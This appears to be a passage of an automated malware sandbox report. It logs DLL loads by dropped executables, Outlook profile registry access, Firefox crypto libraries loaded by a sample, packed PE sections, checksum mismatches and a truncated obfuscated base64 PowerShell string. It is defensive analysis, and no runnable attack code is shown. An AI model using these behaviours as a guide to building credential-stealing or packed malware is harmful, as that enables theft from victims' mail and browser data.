Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wsock32.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: winmm.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: mpr.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: sxs.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: msisip.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wshext.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: appxsip.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: opcservices.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: secur32.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: amsi.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: msisip.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: wshext.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: appxsip.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: opcservices.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Section loaded: apphelp.dll

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: random(4).exe

Static file information: File size 3151360 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: random(4).exe

Static PE information: Raw size of jimlxaop is bigger than: 0x100000 < 0x2ab800

Source:	Binary string: mozglue.pdbP source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: nss3.pdb@ source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2348408685.000000006C14F000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: nss3.pdb source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2348408685.000000006C14F000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: mozglue.pdb source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\Admin\Workspace\1766103906\Project\Release\Project.pdb source: 943fedf78d.exe, 0000000D.00000000.2247461445.0000000000C8C000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: database.pdbmain.pdbsetup.tar.gzAutoIt3_x64.exemsvcp140.dllucrtbase.dll source: 55c1ca23f1.exe, 00000012.00000003.2311940788.0000000002403000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Unpacked PE file: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack :EW;.rsrc:W;.idata :W;tjfrjgvc:EW;oeyaxygs:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tjfrjgvc:EW;oeyaxygs:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Unpacked PE file: 5.2.7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.230000.0.unpack :EW;.rsrc:W;.idata :W;xqzoqyib:EW;ryeovcsc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xqzoqyib:EW;ryeovcsc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 14.2.skotes.exe.c00000.0.unpack :EW;.rsrc:W;.idata :W;xqzoqyib:EW;ryeovcsc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xqzoqyib:EW;ryeovcsc:EW;.taggant:EW;
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Unpacked PE file: 17.2.FIJDGIJJKE.exe.e30000.0.unpack :EW;.rsrc:W;.idata :W;xqzoqyib:EW;ryeovcsc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xqzoqyib:EW;ryeovcsc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.c00000.0.unpack :EW;.rsrc:W;.idata :W;xqzoqyib:EW;ryeovcsc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xqzoqyib:EW;ryeovcsc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Unpacked PE file: 25.2.e13ae12563.exe.5b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jzrbpplf:EW;qryisspl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jzrbpplf:EW;qryisspl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Unpacked PE file: 30.2.13f4808de9.exe.c10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;whflkpvn:EW;esywlygt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;whflkpvn:EW;esywlygt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 32.2.skotes.exe.c00000.0.unpack :EW;.rsrc:W;.idata :W;xqzoqyib:EW;ryeovcsc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xqzoqyib:EW;ryeovcsc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Unpacked PE file: 33.2.334592f815.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W;tjfrjgvc:EW;oeyaxygs:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tjfrjgvc:EW;oeyaxygs:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Unpacked PE file: 36.2.8a0ebcc2e0.exe.ac0000.0.unpack :EW;.rsrc:W;.idata :W;sfopxnfq:EW;upkutmqu:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Unpacked PE file: 39.2.334592f815.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W;tjfrjgvc:EW;oeyaxygs:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tjfrjgvc:EW;oeyaxygs:EW;.taggant:EW;

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Anti Malware Scan Interface: frOmBASE64string('pVl7c+K4lv+7u6q/A5VK7U3vDlljAwlddas2IbweNsF2DPHkVkqWZGPwK34AZma++z0ypCMDmZndpXjpd6Sj89KRdHz5GIdOTJPkMaY2jWmAaeWflX9orkeD1MvbYZC6QUb/8e3rt692FuDUDYMKza2Vb4WbFC0rv337WoHX5ajzDAMvZl11dq
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Anti Malware Scan Interface: frOmBASE64string('pVl7c+K4lv+7u6q/A5VK7U3vDlljAwlddas2IbweNsF2DPHkVkqWZGPwK34AZma++z0ypCMDmZndpXjpd6Sj89KRdHz5GIdOTJPkMaY2jWmAaeWflX9orkeD1MvbYZC6QUb/8e3rt692FuDUDYMKza2Vb4WbFC0rv337WoHX5ajzDAMvZl11dq

Source: random[4].exe0.9.dr

Static PE information: 0xAAB116B5 [Thu Sep 30 01:13:25 2060 UTC]

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Code function: 4_2_6BF773E0 LoadLibraryW,GetProcAddress,FreeLibrary,

4_2_6BF773E0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[2].exe0.9.dr	Static PE information: real checksum: 0x44e9da should be: 0x448f9d
Source: _raw_cast.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x7870
Source: FIJDGIJJKE.exe.4.dr	Static PE information: real checksum: 0x3203aa should be: 0x31cdd8
Source: e13ae12563.exe.9.dr	Static PE information: real checksum: 0x44e9da should be: 0x448f9d
Source: 334592f815.exe.9.dr	Static PE information: real checksum: 0x4fc5cd should be: 0x4f914d
Source: _raw_aesni.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xd2c3
Source: _modexp.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xdf94
Source: _pytransform.dll.22.dr	Static PE information: real checksum: 0x11edfe should be: 0x11dbef
Source: random[2].exe1.9.dr	Static PE information: real checksum: 0x147442 should be: 0x1ebf52
Source: 13f4808de9.exe.9.dr	Static PE information: real checksum: 0x4507bd should be: 0x4519af
Source: _strxor.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x10aad
Source: random(4).exe	Static PE information: real checksum: 0x30437c should be: 0x3041ab
Source: 75b25e676e.exe.9.dr	Static PE information: real checksum: 0x147442 should be: 0x1ebf52
Source: random[2].exe.4.dr	Static PE information: real checksum: 0x3203aa should be: 0x31cdd8
Source: _ARC4.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xc8ba
Source: _raw_des3.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x10195
Source: _cpuid_c.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xe2b6
Source: random[1].exe1.9.dr	Static PE information: real checksum: 0x147442 should be: 0x1ebf52
Source: _MD5.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x12225
Source: _SHA224.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x13d1f
Source: d76dd796e0.exe.9.dr	Static PE information: real checksum: 0x1daa09 should be: 0x1e617e
Source: random[3].exe0.9.dr	Static PE information: real checksum: 0x4507bd should be: 0x4519af
Source: 6319f0cc28.exe.9.dr	Static PE information: real checksum: 0x30437c should be: 0x3041ab
Source: _keccak.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xaf1b
Source: random[1].exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x88ff0
Source: random[4].exe0.9.dr	Static PE information: real checksum: 0x0 should be: 0x9001
Source: _raw_arc2.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x966e
Source: _MD2.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x110e3
Source: _raw_eksblowfish.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xc1e6
Source: random[3].exe2.9.dr	Static PE information: real checksum: 0x4fc5cd should be: 0x4f914d
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe.0.dr	Static PE information: real checksum: 0x4fc5cd should be: 0x4f914d
Source: _SHA256.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xa85b
Source: random[4].exe.9.dr	Static PE information: real checksum: 0x2a3436 should be: 0x299e6b
Source: _raw_cfb.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x9762
Source: win32ui.cp310-win_amd64.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x16a344
Source: 55c1ca23f1.exe.9.dr	Static PE information: real checksum: 0x147442 should be: 0x1ebf52
Source: _scrypt.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x80b5
Source: _Salsa20.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x3657
Source: _raw_des.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x124f2
Source: _raw_cbc.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x3a38
Source: _raw_ecb.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x4c1b
Source: 9ce3a8a3dc.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x88ff0
Source: _MD4.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x9fa9
Source: _RIPEMD160.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x6f18
Source: _raw_ocb.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x14299
Source: _poly1305.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xbea9
Source: random[3].exe1.9.dr	Static PE information: real checksum: 0x30437c should be: 0x3041ab
Source: _SHA1.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xbd05
Source: _SHA512.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xbd08
Source: _raw_aes.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x14e8f
Source: _raw_blowfish.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x11ec6
Source: _ghash_portable.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xa111
Source: _SHA384.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x100ff
Source: _ec_ws.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0xc5419
Source: _chacha20.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x741f
Source: ad8a3a5306.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x9001
Source: 8a0ebcc2e0.exe.9.dr	Static PE information: real checksum: 0x2a3436 should be: 0x299e6b
Source: _BLAKE2b.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x864f
Source: _ghash_clmul.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x9c9d
Source: pywintypes310.dll.22.dr	Static PE information: real checksum: 0x0 should be: 0x2c30d
Source: _raw_ctr.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x46bb
Source: random[2].exe.9.dr	Static PE information: real checksum: 0x1daa09 should be: 0x1e617e
Source: _raw_ofb.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x727a
Source: pythoncom310.dll.22.dr	Static PE information: real checksum: 0x0 should be: 0x8ce57
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.0.dr	Static PE information: real checksum: 0x3203aa should be: 0x31cdd8
Source: _BLAKE2s.pyd.22.dr	Static PE information: real checksum: 0x0 should be: 0x50f7
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x3203aa should be: 0x31cdd8

Source: random(4).exe	Static PE information: section name:
Source: random(4).exe	Static PE information: section name: .idata
Source: random(4).exe	Static PE information: section name: jimlxaop
Source: random(4).exe	Static PE information: section name: lzmmbpyt
Source: random(4).exe	Static PE information: section name: .taggant
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe.0.dr	Static PE information: section name:
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe.0.dr	Static PE information: section name: .idata
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe.0.dr	Static PE information: section name: tjfrjgvc
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe.0.dr	Static PE information: section name: oeyaxygs
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe.0.dr	Static PE information: section name: .taggant
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.0.dr	Static PE information: section name:
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.0.dr	Static PE information: section name: .idata
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.0.dr	Static PE information: section name: xqzoqyib
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.0.dr	Static PE information: section name: ryeovcsc
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.4.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.4.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.4.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.4.dr	Static PE information: section name: .didat
Source: nss3.dll.4.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: random[2].exe.4.dr	Static PE information: section name:
Source: random[2].exe.4.dr	Static PE information: section name: .idata
Source: random[2].exe.4.dr	Static PE information: section name: xqzoqyib
